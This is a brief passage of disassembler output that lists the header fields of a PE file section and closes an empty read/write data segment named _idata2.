00217000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00217000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 617000h align 2000h _idata2 ends end start